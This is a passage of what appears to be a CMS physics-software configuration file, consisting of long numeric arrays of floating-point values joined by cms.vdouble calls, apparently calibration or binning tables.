5.9184914, 6.2566909, 6.5948904, 6.9330899, 7.1021896, 7.4403892, 7.7785887, 8.1167882, 8.4549877, 8.7931872, 9.1313867, 9.4695862, 9.8077857, 10.145985, 10.653284, 10.991484, 11.329683, 11.667883, 12.006082, 12.344282, 12.851581, 13.189781, 13.52798, 14.03528, 14.373479, 14.711679, 15.218978, 15.557177, 16.064477, 16.402676, 16.909975, 17.248175, 17.755474, 18.093674, 18.600973, 19.108272, 19.446472, 19.953771, 20.46107, 20.79927, 21.306569, 21.813868, 22.321167, 22.828467, 23.166666, 23.673965, 24.181265, 24.688564, 25.195863, 25.703163, 26.210462, 26.717761, 27.22506, 27.73236, 28.239659, 28.746958, 29.254257, 29.930656, 30.437956, 30.945255, 31.452554, 31.959853, 32.636252, 33.143552, 33.650851, 34.32725, 34.834549, 35.341848, 36.018247, 36.525547, 37.201946, 37.709245, 38.385644, 38.892943, 39.569342, 40.076642, 40.753041, 41.26034, 41.936739, 42.613138, 43.120437, 43.796836, 44.473235, 44.980534, 45.656933, 46.333332, 47.009731, 47.68613, 48.19343, 48.869829, 49.546228, 50.222627, 50.899026, 51.575425, 52.251824, 52.928223, 53.604622, 54.281021, 54.95742, 55.633819, 56.310218, 56.986617, 57.663016, 58.339415, 59.015814, 59.692213, 60.537712, 61.214111, 61.89051, 62.566909, 63.412408, 64.088807, 64.765206, 65.441605, 66.287103, 66.963502, 67.809001, 68.4854, 69.161799, 70.007298, 70.683697, 71.529196, 72.205595, 73.051094, 73.727493, 74.572991, 75.24939, 76.094889, 76.940388, 77.616787, 78.462286, 79.307784, 79.984183, 80.829682, 81.675181, 82.52068, 83.197079, 84.042577, 84.888076, 85.733575, 86.579074, 87.255473, 88.100972, 88.94647, 89.791969, 90.637468, 91.482967, 92.328465, 93.173964, 94.019463, 94.864962, 95.71046, 96.555959, 97.570558, 98.416057, 99.261555, 100.10705, 100.95255, 101.79805, 102.81265, 103.65815, 104.50365, 105.51825, 106.36374, 107.20924, 108.22384, 109.06934, 109.91484, 110.92944, 111.77494, 112.78954, 113.63503, 114.48053, 115.49513, 116.34063, 117.35523, 118.36983, 119.21533, 120.22992, 121.07542, 122.09002, 123.10462, 123.95012, 124.96472, 125.97932, 126.82482, 127.83941, 128.85401, 129.86861, 130.71411, 131.72871, 132.74331, 133.75791, 134.7725, 135.7871, 136.8017, 137.6472, 138.6618, 139.6764, 140.69099, 141.70559, 142.72019, 143.73479, 144.74939, 145.76399, 146.77859, 147.96228, 148.97688, 149.99148, 151.00608, 152.02068, 153.03528, 154.04988, 155.23357, 156.24817, 157.26277, 158.27737, 159.46107, 160.47567, 161.49026, 162.67396, 163.68856, 164.70316, 165.88686, 166.90146, 168.08515, 169.09975)+cms.vdouble(170.11435, 171.29805, 172.31265, 172.98905, 0, 0, 0, 0, 0.6570034, 0.82125425, 1.149756, 1.3140068, 1.4782577, 1.6425085, 1.9710102, 2.1352611, 2.4637628, 2.6280136, 2.7922645, 3.1207662, 3.285017, 3.6135187, 3.7777696, 4.1062713, 4.434773, 4.5990238, 4.9275255, 5.2560272, 5.4202781, 5.7487798, 6.0772815, 6.4057832, 6.7342849, 6.8985357, 7.2270374, 7.5555391, 7.8840408, 8.2125425, 8.5410442, 8.8695459, 9.1980476, 9.5265493, 9.855051, 10.347804, 10.676305, 11.004807, 11.333309, 11.66181, 11.990312, 12.483065, 12.811566, 13.140068, 13.632821, 13.961322, 14.289824, 14.782577, 15.111078, 15.603831, 15.932333, 16.425085, 16.753587, 17.246339, 17.574841, 18.067594, 18.560346, 18.888848, 19.3816, 19.874353, 20.202855, 20.695607, 21.18836, 21.681112, 22.173865, 22.502367, 22.995119, 23.487872, 23.980624, 24.473377, 24.966129, 25.458882, 25.951634, 26.444387, 26.93714, 27.429892, 27.922645, 28.415397, 29.072401, 29.565153, 30.057906, 30.550658, 31.043411, 31.700414, 32.193167, 32.685919, 33.342923, 33.835675, 34.328428, 34.985431, 35.478184, 36.135187, 36.62794, 37.284943, 37.777696, 38.434699, 38.927452, 39.584455, 40.077208, 40.734211, 41.391214, 41.883967, 42.54097, 43.197974, 43.690726, 44.34773, 45.004733, 45.661737, 46.31874, 46.811492, 47.468496, 48.125499, 48.782503, 49.439506, 50.096509, 50.753513, 51.410516, 52.06752, 52.724523, 53.381527, 54.03853, 54.695533, 55.352537, 56.00954, 56.666544, 57.323547, 57.98055, 58.801805, 59.458808, 60.115811, 60.772815, 61.594069, 62.251072, 62.908076, 63.565079, 64.386334, 65.043337, 65.864591, 66.521595, 67.178598, 67.999852, 68.656856, 69.47811, 70.135113, 70.956368, 71.613371, 72.434625, 73.091629, 73.912883, 74.734137, 75.391141, 76.212395, 77.033649, 77.690652, 78.511907, 79.333161, 80.154415, 80.811419, 81.632673, 82.453927, 83.275181, 84.096436, 84.753439, 85.574693, 86.395948, 87.217202, 88.038456, 88.85971, 89.680965, 90.502219, 91.323473, 92.144727, 92.965982, 93.787236, 94.772741, 95.593995, 96.415249, 97.236504, 98.057758, 98.879012, 99.864517, 100.68577, 101.50703, 102.49253, 103.31379, 104.13504, 105.12054, 105.9418, 106.76305, 107.74856, 108.56981, 109.55532, 110.37657, 111.19783, 112.18333, 113.00459, 113.99009, 114.9756, 115.79685, 116.78235, 117.60361, 118.58911, 119.57462, 120.39587, 121.38138, 122.36688, 123.18814, 124.17364, 125.15915, 126.14465, 126.96591, 127.95141, 128.93692, 129.92242, 130.90793, 131.89343, 132.87894, 133.70019, 134.6857, 135.6712, 136.65671, 137.64221, 138.62772, 139.61322, 140.59873, 141.58423, 142.56974, 143.71949, 144.705, 145.6905, 146.67601, 147.66151, 148.64702, 149.63253, 150.78228, 151.76779, 152.75329, 153.7388, 154.88855, 155.87406, 156.85956, 158.00932, 158.99482, 159.98033, 161.13008, 162.11559, 163.26535)+cms.vdouble(164.25085, 165.23636, 166.38611, 167.37162, 168.02862, 0, 0, 0, 0, 0.63402104, 0.7925263, 1.1095368, 1.2680421, 1.4265473, 1.5850526, 1.9020631, 2.0605684, 2.3775789, 2.5360842, 2.6945894, 3.0115999, 3.1701052, 3.4871157, 3.645621, 3.9626315, 4.279642, 4.4381473, 4.7551578, 5.0721683, 5.2306736, 5.5476841, 5.8646946, 6.1817051, 6.4987157, 6.6572209, 6.9742314, 7.291242, 7.6082525, 7.925263, 8.2422735, 8.559284, 8.8762946, 9.1933051, 9.5103156, 9.9858314, 10.302842, 10.619852, 10.936863, 11.253873, 11.570884, 12.0464, 12.36341, 12.680421, 13.155937, 13.472947, 13.789958, 14.265473, 14.582484, 15.058, 15.37501, 15.850526, 16.167537, 16.643052, 16.960063, 17.435579, 17.911094, 18.228105, 18.703621, 19.179136, 19.496147, 19.971663, 20.447179, 20.922694, 21.39821, 21.715221, 22.190736, 22.666252, 23.141768, 23.617284, 24.092799, 24.568315, 25.043831, 25.519347, 25.994863, 26.470378, 26.945894, 27.42141, 28.055431, 28.530947, 29.006463, 29.481978, 29.957494, 30.591515, 31.067031, 31.542547, 32.176568, 32.652084, 33.127599, 33.76162, 34.237136, 34.871157, 35.346673, 35.980694, 36.45621, 37.090231, 37.565747, 38.199768, 38.675283, 39.309304, 39.943325, 40.418841, 41.052862, 41.686883, 42.162399, 42.79642, 43.430441, 44.064462, 44.698483, 45.173999, 45.80802, 46.442041, 47.076062, 47.710083, 48.344104, 48.978125, 49.612146, 50.246167, 50.880188, 51.514209, 52.14823, 52.782252, 53.416273, 54.050294, 54.684315, 55.318336, 55.952357, 56.744883, 57.378904, 58.012925, 58.646946, 59.439472, 60.073493, 60.707515, 61.341536, 62.134062, 62.768083, 63.560609, 64.19463, 64.828651, 65.621178, 66.255199, 67.047725, 67.681746, 68.474272, 69.108293, 69.90082, 70.534841, 71.327367, 72.119893, 72.753914, 73.546441, 74.338967, 74.972988, 75.765514, 76.558041, 77.350567, 77.984588, 78.777114, 79.56964, 80.362167, 81.154693, 81.788714, 82.58124, 83.373767, 84.166293, 84.958819, 85.751346, 86.543872, 87.336398, 88.128924, 88.921451, 89.713977, 90.506503, 91.457535, 92.250061, 93.042588, 93.835114, 94.62764, 95.420166, 96.371198, 97.163724, 97.956251, 98.907282, 99.699808, 100.49233, 101.44337, 102.23589, 103.02842, 103.97945, 104.77198, 105.72301, 106.51553, 107.30806, 108.25909, 109.05162, 110.00265, 110.95368, 111.74621, 112.69724, 113.48977, 114.4408, 115.39183, 116.18436, 117.13539, 118.08642, 118.87894, 119.82998, 120.78101, 121.73204, 122.52457, 123.4756, 124.42663, 125.37766, 126.32869, 127.27972, 128.23076, 129.02328, 129.97431, 130.92534, 131.87638, 132.82741, 133.77844, 134.72947, 135.6805, 136.63153, 137.58257, 138.6921, 139.64313, 140.59417, 141.5452, 142.49623, 143.44726, 144.39829, 145.50783, 146.45886, 147.40989, 148.36092, 149.47046, 150.42149, 151.37252, 152.48206, 153.43309, 154.38412, 155.49366, 156.44469)+cms.vdouble(157.55423, 158.50526, 159.45629, 160.56583, 161.51686, 162.15088, 0, 0, 0, 0, 0.60814195, 0.76017743, 1.0642484, 1.2162839, 1.3683194, 1.5203549, 1.8244258, 1.9764613, 2.2805323, 2.4325678, 2.5846033, 2.8886743, 3.0407097, 3.3447807, 3.4968162, 3.8008872, 4.1049581, 4.2569936, 4.5610646, 4.8651356, 5.0171711, 5.321242, 5.625313, 5.929384, 6.233455, 6.3854904, 6.6895614, 6.9936324, 7.2977034, 7.6017743, 7.9058453, 8.2099163, 8.5139873, 8.8180582, 9.1221292, 9.5782357, 9.8823066, 10.186378, 10.490449, 10.79452, 11.098591, 11.554697, 11.858768, 12.162839, 12.618945, 12.923016, 13.227087, 13.683194, 13.987265, 14.443371, 14.747442, 15.203549, 15.50762, 15.963726, 16.267797, 16.723904, 17.18001, 17.484081, 17.940187, 18.396294, 18.700365, 19.156471, 19.612578, 20.068684, 20.524791, 20.828862, 21.284968, 21.741075, 22.197181, 22.653288, 23.109394, 23.5655, 24.021607, 24.477713, 24.93382, 25.389926, 25.846033, 26.302139, 26.910281, 27.366388, 27.822494, 28.278601, 28.734707, 29.342849, 29.798955, 30.255062, 30.863204, 31.31931, 31.775417, 32.383559, 32.839665, 33.447807, 33.903914, 34.512056, 34.968162, 35.576304, 36.03241, 36.640552, 37.096659, 37.704801, 38.312943, 38.769049, 39.377191, 39.985333, 40.44144, 41.049581, 41.657723, 42.265865, 42.874007, 43.330114, 43.938256, 44.546398, 45.15454, 45.762682, 46.370824, 46.978965, 47.587107, 48.195249, 48.803391, 49.411533, 50.019675, 50.627817, 51.235959, 51.844101, 52.452243, 53.060385, 53.668527, 54.428704, 55.036846, 55.644988, 56.25313, 57.013308, 57.62145, 58.229591, 58.837733, 59.597911, 60.206053, 60.96623, 61.574372, 62.182514, 62.942692, 63.550834, 64.311011, 64.919153, 65.67933, 66.287472, 67.04765, 67.655792, 68.415969, 69.176147, 69.784288, 70.544466, 71.304643, 71.912785, 72.672963, 73.43314, 74.193318, 74.80146, 75.561637, 76.321814, 77.081992, 77.842169, 78.450311, 79.210489, 79.970666, 80.730844, 81.491021, 82.251198, 83.011376, 83.771553, 84.531731, 85.291908, 86.052086, 86.812263, 87.724476, 88.484653, 89.244831, 90.005008, 90.765186, 91.525363, 92.437576, 93.197753, 93.957931, 94.870144, 95.630321, 96.390499, 97.302712, 98.062889, 98.823066, 99.735279, 100.49546, 101.40767, 102.16785, 102.92802, 103.84024, 104.60041, 105.51263, 106.42484, 107.18502, 108.09723, 108.85741, 109.76962, 110.68183, 111.44201, 112.35422, 113.26644, 114.02662, 114.93883, 115.85104, 116.76325, 117.52343, 118.43564, 119.34786, 120.26007, 121.17228, 122.0845, 122.99671, 123.75689, 124.6691, 125.58131, 126.49353, 127.40574, 128.31795, 129.23016, 130.14238, 131.05459, 131.9668, 133.03105, 133.94326, 134.85548, 135.76769, 136.6799, 137.59212, 138.50433, 139.56858, 140.48079, 141.393, 142.30522, 143.36946, 144.28168, 145.19389, 146.25814, 147.17035, 148.08256, 149.14681)+cms.vdouble(150.05903, 151.12327, 152.03549, 152.9477, 154.01195, 154.92416, 155.5323, 0, 0, 0, 0, 0.5800716, 0.7250895, 1.0151253, 1.1601432, 1.3051611, 1.450179, 1.7402148, 1.8852327, 2.1752685, 2.3202864, 2.4653043, 2.7553401, 2.900358, 3.1903938, 3.3354117, 3.6254475, 3.9154833, 4.0605012, 4.350537, 4.6405728, 4.7855907, 5.0756265, 5.3656623, 5.6556981, 5.9457339, 6.0907518, 6.3807876, 6.6708234, 6.9608592, 7.250895, 7.5409308, 7.8309666, 8.1210024, 8.4110382, 8.701074, 9.1361277, 9.4261635, 9.7161993, 10.006235, 10.296271, 10.586307, 11.02136, 11.311396, 11.601432, 12.036486, 12.326521, 12.616557, 13.051611, 13.341647, 13.7767, 14.066736, 14.50179, 14.791826, 15.226879, 15.516915, 15.951969, 16.387023, 16.677058, 17.112112, 17.547166, 17.837202, 18.272255, 18.707309, 19.142363, 19.577416, 19.867452, 20.302506, 20.73756, 21.172613, 21.607667, 22.042721, 22.477774, 22.912828, 23.347882, 23.782936, 24.217989, 24.653043, 25.088097, 25.668168, 26.103222, 26.538276, 26.973329, 27.408383, 27.988455, 28.423508, 28.858562, 29.438634, 29.873687, 30.308741, 30.888813, 31.323866, 31.903938, 32.338992, 32.919063, 33.354117, 33.934189, 34.369242, 34.949314, 35.384368, 35.964439, 36.544511, 36.979564, 37.559636, 38.139708, 38.574761, 39.154833, 39.734905, 40.314976, 40.895048, 41.330101, 41.910173, 42.490245, 43.070316, 43.650388, 44.230459, 44.810531, 45.390603, 45.970674, 46.550746, 47.130817, 47.710889, 48.290961, 48.871032, 49.451104, 50.031175, 50.611247, 51.191319, 51.916408, 52.49648, 53.076551, 53.656623, 54.381712, 54.961784, 55.541856, 56.121927, 56.847017, 57.427088, 58.152178, 58.732249, 59.312321, 60.037411, 60.617482, 61.342572, 61.922643, 62.647733, 63.227804, 63.952894, 64.532965, 65.258055, 65.983144, 66.563216, 67.288306, 68.013395, 68.593467, 69.318556, 70.043646, 70.768735, 71.348807, 72.073896, 72.798986, 73.524075, 74.249165, 74.829236, 75.554326, 76.279415, 77.004505, 77.729594, 78.454684, 79.179773, 79.904863, 80.629952, 81.355042, 82.080131, 82.805221, 83.675328, 84.400418, 85.125507, 85.850597, 86.575686, 87.300776, 88.170883, 88.895973, 89.621062, 90.49117, 91.216259, 91.941349, 92.811456, 93.536545, 94.261635, 95.131742, 95.856832, 96.726939, 97.452029, 98.177118, 99.047226, 99.772315, 100.64242, 101.51253, 102.23762, 103.10773, 103.83282, 104.70292, 105.57303, 106.29812, 107.16823, 108.03834, 108.76342, 109.63353, 110.50364, 111.37375, 112.09884, 112.96894, 113.83905, 114.70916, 115.57927, 116.44937, 117.31948, 118.04457, 118.91468, 119.78479, 120.65489, 121.525, 122.39511, 123.26521, 124.13532, 125.00543, 125.87554, 126.89066, 127.76077, 128.63088, 129.50098, 130.37109, 131.2412, 132.11131, 133.12643, 133.99654, 134.86665, 135.73675, 136.75188, 137.62199, 138.49209, 139.50722, 140.37733, 141.24743)+cms.vdouble(142.26256, 143.13267, 144.14779, 145.0179, 145.88801, 146.90313, 147.77324, 148.35331, 0, 0, 0, 0, 0.55049288, 0.6881161, 0.96336254, 1.1009858, 1.238609, 1.3762322, 1.6514786, 1.7891019, 2.0643483, 2.2019715, 2.3395948, 2.6148412, 2.7524644, 3.0277109, 3.1653341, 3.4405805, 3.715827, 3.8534502, 4.1286966, 4.4039431, 4.5415663, 4.8168127, 5.0920592, 5.3673056, 5.642552, 5.7801753, 6.0554217, 6.3306682, 6.6059146, 6.881161, 7.1564075, 7.4316539, 7.7069004, 7.9821468, 8.2573932, 8.6702629, 8.9455093, 9.2207558, 9.4960022, 9.7712487, 10.046495, 10.459365, 10.734611, 11.009858, 11.422727, 11.697974, 11.97322, 12.38609, 12.661336, 13.074206, 13.349452, 13.762322, 14.037569, 14.450438, 14.725685, 15.138554, 15.551424, 15.82667, 16.23954, 16.65241, 16.927656, 17.340526, 17.753395, 18.166265, 18.579135, 18.854381, 19.267251, 19.680121, 20.09299, 20.50586, 20.91873, 21.331599, 21.744469, 22.157339, 22.570208, 22.983078, 23.395948, 23.808817, 24.35931, 24.77218, 25.185049, 25.597919, 26.010789, 26.561282, 26.974151, 27.387021, 27.937514, 28.350383, 28.763253, 29.313746, 29.726616, 30.277109, 30.689978, 31.240471, 31.653341, 32.203834, 32.616703, 33.167196, 33.580066, 34.130559, 34.681052, 35.093921, 35.644414, 36.194907, 36.607777, 37.15827, 37.708762, 38.259255, 38.809748, 39.222618, 39.773111, 40.323604, 40.874097, 41.424589, 41.975082, 42.525575, 43.076068, 43.626561, 44.177054, 44.727547, 45.27804, 45.828532, 46.379025, 46.929518, 47.480011, 48.030504, 48.580997, 49.269113, 49.819606, 50.370099, 50.920592, 51.608708, 52.159201, 52.709694, 53.260186, 53.948302, 54.498795, 55.186911, 55.737404, 56.287897, 56.976013, 57.526506, 58.214622, 58.765115, 59.453231, 60.003724, 60.69184, 61.242333, 61.930449, 62.618565, 63.169058, 63.857174, 64.54529, 65.095783, 65.783899, 66.472016, 67.160132, 67.710625, 68.398741, 69.086857, 69.774973, 70.463089, 71.013582, 71.701698, 72.389814, 73.07793, 73.766046, 74.454162, 75.142278, 75.830395, 76.518511, 77.206627, 77.894743, 78.582859, 79.408598, 80.096714, 80.784831, 81.472947, 82.161063, 82.849179, 83.674918, 84.363034, 85.05115, 85.87689, 86.565006, 87.253122, 88.078861, 88.766977, 89.455093, 90.280833, 90.968949, 91.794688, 92.482804, 93.17092, 93.99666, 94.684776, 95.510515, 96.336254, 97.024371, 97.85011, 98.538226, 99.363965, 100.1897, 100.87782, 101.70356, 102.5293, 103.21742, 104.04315, 104.86889, 105.69463, 106.38275, 107.20849, 108.03423, 108.85997, 109.68571, 110.51145, 111.33719, 112.0253, 112.85104, 113.67678, 114.50252, 115.32826, 116.154, 116.97974, 117.80548, 118.63122, 119.45696, 120.42032, 121.24606, 122.0718, 122.89754, 123.72328, 124.54901, 125.37475, 126.33812, 127.16386, 127.9896, 128.81533, 129.7787, 130.60444, 131.43018, 132.39354, 133.21928)+cms.vdouble(134.04502, 135.00838, 135.83412, 136.79748, 137.62322, 138.44896, 139.41232, 140.23806, 140.78855, 0, 0, 0, 0, 0.52003679, 0.65004599, 0.91006438, 1.0400736, 1.1700828, 1.300092, 1.5601104, 1.6901196, 1.950138, 2.0801472, 2.2101564, 2.4701747, 2.6001839, 2.8602023, 2.9902115, 3.2502299, 3.5102483, 3.6402575, 3.9002759, 4.1602943, 4.2903035, 4.5503219, 4.8103403, 5.0703587, 5.3303771, 5.4603863, 5.7204047, 5.9804231, 6.2404415, 6.5004599, 6.7604782, 7.0204966, 7.280515, 7.5405334, 7.8005518, 8.1905794, 8.4505978, 8.7106162, 8.9706346, 9.230653, 9.4906714, 9.880699, 10.140717, 10.400736, 10.790763, 11.050782, 11.3108, 11.700828, 11.960846, 12.350874, 12.610892, 13.00092, 13.260938, 13.650966, 13.910984, 14.301012, 14.691039, 14.951058, 15.341085, 15.731113, 15.991131, 16.381159, 16.771186, 17.161214, 17.551242, 17.81126, 18.201288, 18.591315, 18.981343, 19.37137, 19.761398, 20.151426, 20.541453, 20.931481, 21.321508, 21.711536, 22.101564, 22.491591, 23.011628, 23.401655, 23.791683, 24.181711, 24.571738, 25.091775, 25.481803, 25.87183, 26.391867, 26.781895, 27.171922, 27.691959, 28.081987, 28.602023, 28.992051, 29.512088, 29.902115, 30.422152, 30.81218, 31.332216, 31.722244, 32.242281, 32.762318, 33.152345, 33.672382, 34.192419, 34.582446, 35.102483, 35.62252, 36.142557, 36.662594, 37.052621, 37.572658, 38.092695, 38.612732, 39.132768, 39.652805, 40.172842, 40.692879, 41.212915, 41.732952, 42.252989, 42.773026, 43.293063, 43.813099, 44.333136, 44.853173, 45.37321, 45.893247, 46.543293, 47.063329, 47.583366, 48.103403, 48.753449, 49.273486, 49.793522, 50.313559, 50.963605, 51.483642, 52.133688, 52.653725, 53.173762, 53.823808, 54.343844, 54.99389, 55.513927, 56.163973, 56.68401, 57.334056, 57.854093, 58.504139, 59.154185, 59.674221, 60.324267, 60.974313, 61.49435, 62.144396, 62.794442, 63.444488, 63.964525, 64.614571, 65.264617, 65.914663, 66.564709, 67.084746, 67.734792, 68.384838, 69.034884, 69.68493, 70.334976, 70.985022, 71.635068, 72.285114, 72.93516, 73.585206, 74.235252, 75.015307, 75.665353, 76.315399, 76.965445, 77.615491, 78.265537, 79.045592, 79.695638, 80.345684, 81.125739, 81.775785, 82.425831, 83.205886, 83.855932, 84.505978, 85.286033, 85.936079, 86.716134, 87.36618, 88.016226, 88.796282, 89.446328, 90.226383, 91.006438, 91.656484, 92.436539, 93.086585, 93.86664, 94.646695, 95.296741, 96.076797, 96.856852, 97.506898, 98.286953, 99.067008, 99.847063, 100.49711, 101.27716, 102.05722, 102.83727, 103.61733, 104.39739, 105.17744, 105.82749, 106.60754, 107.3876, 108.16765, 108.94771, 109.72776, 110.50782, 111.28787, 112.06793, 112.84798, 113.75805, 114.5381, 115.31816, 116.09821, 116.87827, 117.65832, 118.43838, 119.34844, 120.1285, 120.90855, 121.68861, 122.59867, 123.37873, 124.15878, 125.06885)+cms.vdouble(125.8489, 126.62896, 127.53902, 128.31908, 129.22914, 130.0092, 130.78925, 131.69932, 132.47937, 132.99941, 0, 0, 0, 0, 0.4892627, 0.61157837, 0.85620972, 0.97852539, 1.1008411, 1.2231567, 1.4677881, 1.5901038, 1.8347351, 1.9570508, 2.0793665, 2.3239978, 2.4463135, 2.6909448, 2.8132605, 3.0578919, 3.3025232, 3.4248389, 3.6694702, 3.9141016, 4.0364172, 4.2810486, 4.5256799, 4.7703113, 5.0149426, 5.1372583, 5.3818897, 5.626521, 5.8711524, 6.1157837, 6.3604151, 6.6050464, 6.8496778, 7.0943091, 7.3389405, 7.7058875, 7.9505188, 8.1951502, 8.4397815, 8.6844129, 8.9290442, 9.2959912, 9.5406226, 9.7852539, 10.152201, 10.396832, 10.641464, 11.008411, 11.253042, 11.619989, 11.86462, 12.231567, 12.476199, 12.843146, 13.087777, 13.454724, 13.821671, 14.066303, 14.43325, 14.800197, 15.044828, 15.411775, 15.778722, 16.145669, 16.512616, 16.757247, 17.124194, 17.491141, 17.858088, 18.225035, 18.591982, 18.95893, 19.325877, 19.692824, 20.059771, 20.426718, 20.793665, 21.160612, 21.649874, 22.016821, 22.383768, 22.750715, 23.117662, 23.606925, 23.973872, 24.340819, 24.830082, 25.197029, 25.563976, 26.053239, 26.420186, 26.909448, 27.276395, 27.765658, 28.132605, 28.621868, 28.988815, 29.478077, 29.845025, 30.334287, 30.82355, 31.190497, 31.67976, 32.169022, 32.535969, 33.025232, 33.514495, 34.003757, 34.49302, 34.859967, 35.34923, 35.838493, 36.327755, 36.817018, 37.306281, 37.795543, 38.284806, 38.774069, 39.263331, 39.752594, 40.241857, 40.73112, 41.220382, 41.709645, 42.198908, 42.68817, 43.177433, 43.789011, 44.278274, 44.767537, 45.256799, 45.868378, 46.357641, 46.846903, 47.336166, 47.947744, 48.437007, 49.048585, 49.537848, 50.027111, 50.638689, 51.127952, 51.73953, 52.228793, 52.840371, 53.329634, 53.941212, 54.430475, 55.042053, 55.653632, 56.142894, 56.754473, 57.366051, 57.855314, 58.466892, 59.078471, 59.690049, 60.179312, 60.79089, 61.402468, 62.014047, 62.625625, 63.114888, 63.726466, 64.338045, 64.949623, 65.561201, 66.17278, 66.784358, 67.395936, 68.007515, 68.619093, 69.230672, 69.84225, 70.576144, 71.187722, 71.799301, 72.410879, 73.022457, 73.634036, 74.36793, 74.979508, 75.591087, 76.324981, 76.936559, 77.548137, 78.282031, 78.89361, 79.505188, 80.239082, 80.850661, 81.584555, 82.196133, 82.807711, 83.541605, 84.153184, 84.887078, 85.620972, 86.23255, 86.966444, 87.578023, 88.311917, 89.045811, 89.657389, 90.391283, 91.125177, 91.736756, 92.47065, 93.204544, 93.938438, 94.550016, 95.28391, 96.017804, 96.751698, 97.485592, 98.219486, 98.95338, 99.564959, 100.29885, 101.03275, 101.76664, 102.50053, 103.23443, 103.96832, 104.70222, 105.43611, 106.17001, 107.02621, 107.76011, 108.494, 109.2279, 109.96179, 110.69569, 111.42958, 112.28579, 113.01968, 113.75358, 114.48747, 115.34368, 116.07757, 116.81147)+cms.vdouble(117.66768, 118.40157, 119.13547, 119.99168, 120.72557, 121.58178, 122.31567, 123.04957, 123.90578, 124.63967, 125.12893, 0, 0, 0, 0, 0.45864772, 0.57330965, 0.8026335, 0.91729543, 1.0319574, 1.1466193, 1.3759432, 1.4906051, 1.7199289, 1.8345909, 1.9492528, 2.1785767, 2.2932386, 2.5225624, 2.6372244, 2.8665482, 3.0958721, 3.210534, 3.4398579, 3.6691817, 3.7838437, 4.0131675, 4.2424914, 4.4718152, 4.7011391, 4.815801, 5.0451249, 5.2744487, 5.5037726, 5.7330965, 5.9624203, 6.1917442, 6.421068, 6.6503919, 6.8797158, 7.2237015, 7.4530254, 7.6823493, 7.9116731, 8.140997, 8.3703208, 8.7143066, 8.9436305, 9.1729543, 9.5169401, 9.746264, 9.9755878, 10.319574, 10.548897, 10.892883, 11.122207, 11.466193, 11.695517, 12.039503, 12.268826, 12.612812, 12.956798, 13.186122, 13.530108, 13.874093, 14.103417, 14.447403, 14.791389, 15.135375, 15.47936, 15.708684, 16.05267, 16.396656, 16.740642, 17.084627, 17.428613, 17.772599, 18.116585, 18.460571, 18.804556, 19.148542, 19.492528, 19.836514, 20.295161, 20.639147, 20.983133, 21.327119, 21.671105, 22.129752, 22.473738, 22.817724, 23.276372, 23.620357, 23.964343, 24.422991, 24.766977, 25.225624, 25.56961, 26.028258, 26.372244, 26.830891, 27.174877, 27.633525, 27.977511, 28.436158, 28.894806, 29.238792, 29.69744, 30.156087, 30.500073, 30.958721, 31.417369, 31.876016, 32.334664, 32.67865, 33.137298, 33.595945, 34.054593, 34.513241, 34.971888, 35.430536, 35.889184, 36.347832, 36.806479, 37.265127, 37.723775, 38.182422, 38.64107, 39.099718, 39.558366, 40.017013, 40.475661, 41.048971, 41.507618, 41.966266, 42.424914, 42.998223, 43.456871, 43.915519, 44.374167, 44.947476, 45.406124, 45.979434, 46.438081, 46.896729, 47.470039, 47.928686, 48.501996, 48.960644, 49.533953, 49.992601, 50.565911, 51.024558, 51.597868, 52.171178, 52.629825, 53.203135, 53.776445, 54.235093, 54.808402, 55.381712, 55.955021, 56.413669, 56.986979, 57.560288, 58.133598, 58.706908, 59.165555, 59.738865, 60.312175, 60.885484, 61.458794, 62.032104, 62.605413, 63.178723, 63.752033, 64.325342, 64.898652, 65.471962, 66.159933, 66.733243, 67.306552, 67.879862, 68.453172, 69.026481, 69.714453, 70.287763, 70.861072, 71.549044, 72.122353, 72.695663, 73.383635, 73.956944, 74.530254, 75.218226, 75.791535, 76.479507, 77.052816, 77.626126, 78.314098, 78.887407, 79.575379, 80.26335, 80.83666, 81.524632, 82.097941, 82.785913, 83.473884, 84.047194, 84.735166, 85.423137, 85.996447, 86.684418, 87.37239, 88.060362, 88.633671, 89.321643, 90.009614, 90.697586, 91.385558, 92.073529, 92.761501, 93.33481, 94.022782, 94.710753, 95.398725, 96.086697, 96.774668, 97.46264, 98.150611, 98.838583, 99.526555, 100.32919, 101.01716, 101.70513, 102.3931, 103.08107, 103.76905, 104.45702, 105.25965, 105.94762, 106.63559, 107.32357, 108.1262, 108.81417)+cms.vdouble(109.50214, 110.30478, 110.99275, 111.68072, 112.48335, 113.17132, 113.97396, 114.66193, 115.3499, 116.15253, 116.84051, 117.29915, 0, 0, 0, 0, 0.42858365, 0.53572957, 0.75002139, 0.85716731, 0.96431322, 1.0714591, 1.285751, 1.3928969, 1.6071887, 1.7143346, 1.8214805, 2.0357724, 2.1429183, 2.3572101, 2.464356, 2.6786478, 2.8929397, 3.0000856, 3.2143774, 3.4286692, 3.5358151, 3.750107, 3.9643988, 4.1786906, 4.3929824, 4.5001284, 4.7144202, 4.928712, 5.1430038, 5.3572957, 5.5715875, 5.7858793, 6.0001711, 6.214463, 6.4287548, 6.7501925, 6.9644844, 7.1787762, 7.393068, 7.6073598, 7.8216517, 8.1430894, 8.3573812, 8.5716731, 8.8931108, 9.1074026, 9.3216945, 9.6431322, 9.857424, 10.178862, 10.393154, 10.714591, 10.928883, 11.250321, 11.464613, 11.78605, 12.107488, 12.32178, 12.643218, 12.964656, 13.178947, 13.500385, 13.821823, 14.143261, 14.464698, 14.67899, 15.000428, 15.321866, 15.643303, 15.964741, 16.286179, 16.607617, 16.929054, 17.250492, 17.57193, 17.893368, 18.214805, 18.536243, 18.964827, 19.286264, 19.607702, 19.92914, 20.250578, 20.679161, 21.000599, 21.322037, 21.75062, 22.072058, 22.393496, 22.82208, 23.143517, 23.572101, 23.893539, 24.322122, 24.64356, 25.072144, 25.393581, 25.822165, 26.143603, 26.572186, 27.00077, 27.322208, 27.750792, 28.179375, 28.500813, 28.929397, 29.35798, 29.786564, 30.215148, 30.536585, 30.965169, 31.393753, 31.822336, 32.25092, 32.679504, 33.108087, 33.536671, 33.965254, 34.393838, 34.822422, 35.251005, 35.679589, 36.108173, 36.536756, 36.96534, 37.393924, 37.822507, 38.358237, 38.786821, 39.215404, 39.643988, 40.179717, 40.608301, 41.036885, 41.465468, 42.001198, 42.429782, 42.965511, 43.394095, 43.822679, 44.358408, 44.786992, 45.322721, 45.751305, 46.287035, 46.715618, 47.251348, 47.679931, 48.215661, 48.751391, 49.179974, 49.715704, 50.251433, 50.680017, 51.215747, 51.751476, 52.287206, 52.715789, 53.251519, 53.787248, 54.322978, 54.858708, 55.287291, 55.823021, 56.35875, 56.89448, 57.430209, 